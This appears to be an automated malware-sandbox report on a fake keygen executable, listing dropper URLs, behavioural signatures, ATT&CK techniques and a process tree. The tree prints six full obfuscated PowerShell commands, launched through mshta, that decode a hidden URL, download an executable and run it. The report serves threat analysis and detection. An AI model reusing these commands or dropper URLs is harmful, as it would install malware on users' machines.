3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
65s
max time network
177s
platform
windows7_x64
resource
win7v200722
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (14).exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

6 384 powershell.exe
12 384 powershell.exe
16 1992 powershell.exe
18 2044 powershell.exe
21 2044 powershell.exe
22 1992 powershell.exe
Downloads MZ/PE file

flow	pid	process
6	384	powershell.exe
12	384	powershell.exe
16	1992	powershell.exe
18	2044	powershell.exe
21	2044	powershell.exe
22	1992	powershell.exe

Executes dropped EXE 13 IoCs

Processes:

Keygen.exeucj.exebyh.exenem.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exebyh.exeNHtrdsaghfDF.exenem.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1512	Keygen.exe
2560	ucj.exe
2692	byh.exe
2736	nem.exe
2764	FVjhgtresfdbv.exe
2788	NHtrdsaghfDF.exe
2864	FVjhgtresfdbv.exe
2876	byh.exe
2920	NHtrdsaghfDF.exe
3020	nem.exe
3032	NHtrdsaghfDF.exe
3064	FVjhgtresfdbv.exe
2160	NHtrdsaghfDF.exe

Loads dropped DLL 17 IoCs

Processes:

cmd.exepowershell.exepowershell.exepowershell.exebyh.exenem.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1692	cmd.exe
384	powershell.exe
2044	powershell.exe
2044	powershell.exe
1992	powershell.exe
1992	powershell.exe
2692	byh.exe
2692	byh.exe
2692	byh.exe
2692	byh.exe
2736	nem.exe
2736	nem.exe
2736	nem.exe
2736	nem.exe
2788	NHtrdsaghfDF.exe
2864	FVjhgtresfdbv.exe
2920	NHtrdsaghfDF.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

byh.exenem.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 2692 set thread context of 2876	2692	byh.exe	byh.exe
PID 2736 set thread context of 3020	2736	nem.exe	nem.exe
PID 2788 set thread context of 3032	2788	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 2864 set thread context of 3064	2864	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2920 set thread context of 2160	2920	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1824 timeout.exe
1684 timeout.exe

pid	process
1824	timeout.exe
1684	timeout.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exemshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1992	powershell.exe
384	powershell.exe
2044	powershell.exe
628	powershell.exe
1560	powershell.exe
1168	powershell.exe
384	powershell.exe
1168	powershell.exe
1992	powershell.exe
2044	powershell.exe
628	powershell.exe
1560	powershell.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

byh.exenem.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

2692 byh.exe
2736 nem.exe
2788 NHtrdsaghfDF.exe
2864 FVjhgtresfdbv.exe
2920 NHtrdsaghfDF.exe

pid	process
2692	byh.exe
2736	nem.exe
2788	NHtrdsaghfDF.exe
2864	FVjhgtresfdbv.exe
2920	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	384	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exebyh.exenem.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1512 Keygen.exe
2692 byh.exe
2736 nem.exe
2788 NHtrdsaghfDF.exe
2864 FVjhgtresfdbv.exe
2920 NHtrdsaghfDF.exe
2764 FVjhgtresfdbv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (14).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1316 wrote to memory of 1692	1316	Keygen — копия (14).exe	cmd.exe
PID 1316 wrote to memory of 1692	1316	Keygen — копия (14).exe	cmd.exe
PID 1316 wrote to memory of 1692	1316	Keygen — копия (14).exe	cmd.exe
PID 1316 wrote to memory of 1692	1316	Keygen — копия (14).exe	cmd.exe
PID 1692 wrote to memory of 1512	1692	cmd.exe	Keygen.exe
PID 1692 wrote to memory of 1512	1692	cmd.exe	Keygen.exe
PID 1692 wrote to memory of 1512	1692	cmd.exe	Keygen.exe
PID 1692 wrote to memory of 1512	1692	cmd.exe	Keygen.exe
PID 1692 wrote to memory of 1348	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1348	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1348	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1348	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1120	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1120	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1120	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1120	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1824	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1824	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1824	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1824	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1860	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1860	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1860	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1860	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1584	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1584	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1584	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1584	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1684	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1684	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1684	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 1684	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 268	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 268	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 268	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 268	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1020	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1020	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1020	1692	cmd.exe	mshta.exe
PID 1692 wrote to memory of 1020	1692	cmd.exe	mshta.exe
PID 1020 wrote to memory of 1560	1020	mshta.exe	powershell.exe
PID 1020 wrote to memory of 1560	1020	mshta.exe	powershell.exe
PID 1020 wrote to memory of 1560	1020	mshta.exe	powershell.exe
PID 1020 wrote to memory of 1560	1020	mshta.exe	powershell.exe
PID 1584 wrote to memory of 628	1584	mshta.exe	powershell.exe
PID 1584 wrote to memory of 628	1584	mshta.exe	powershell.exe
PID 1584 wrote to memory of 628	1584	mshta.exe	powershell.exe
PID 1584 wrote to memory of 628	1584	mshta.exe	powershell.exe
PID 1120 wrote to memory of 1168	1120	mshta.exe	powershell.exe
PID 1120 wrote to memory of 1168	1120	mshta.exe	powershell.exe
PID 1120 wrote to memory of 1168	1120	mshta.exe	powershell.exe
PID 1120 wrote to memory of 1168	1120	mshta.exe	powershell.exe
PID 268 wrote to memory of 2044	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 2044	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 2044	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 2044	268	mshta.exe	powershell.exe
PID 1860 wrote to memory of 384	1860	mshta.exe	powershell.exe
PID 1860 wrote to memory of 384	1860	mshta.exe	powershell.exe
PID 1860 wrote to memory of 384	1860	mshta.exe	powershell.exe
PID 1860 wrote to memory of 384	1860	mshta.exe	powershell.exe
PID 1348 wrote to memory of 1992	1348	mshta.exe	powershell.exe
PID 1348 wrote to memory of 1992	1348	mshta.exe	powershell.exe
PID 1348 wrote to memory of 1992	1348	mshta.exe	powershell.exe
PID 1348 wrote to memory of 1992	1348	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (14).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (14).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (14).exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1692

C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1512

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\m.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Users\Public\nem.exe
"C:\Users\Public\nem.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2736

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2864

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3064

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2920

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2160

C:\Users\Public\nem.exe
"C:\Users\Public\nem.exe"
6⤵
- Executes dropped EXE
PID:3020

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1120

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1168

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1824

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\b.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:384

C:\Users\Public\ucj.exe
"C:\Users\Public\ucj.exe"
5⤵
- Executes dropped EXE
PID:2560

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1684

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\ba.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044

C:\Users\Public\byh.exe
"C:\Users\Public\byh.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2692

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2764

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2788

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:3032

C:\Users\Public\byh.exe
"C:\Users\Public\byh.exe"
6⤵
- Executes dropped EXE
PID:2876

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFE5.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a1733a9-c78a-41f9-ba49-7e78bc3e775b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

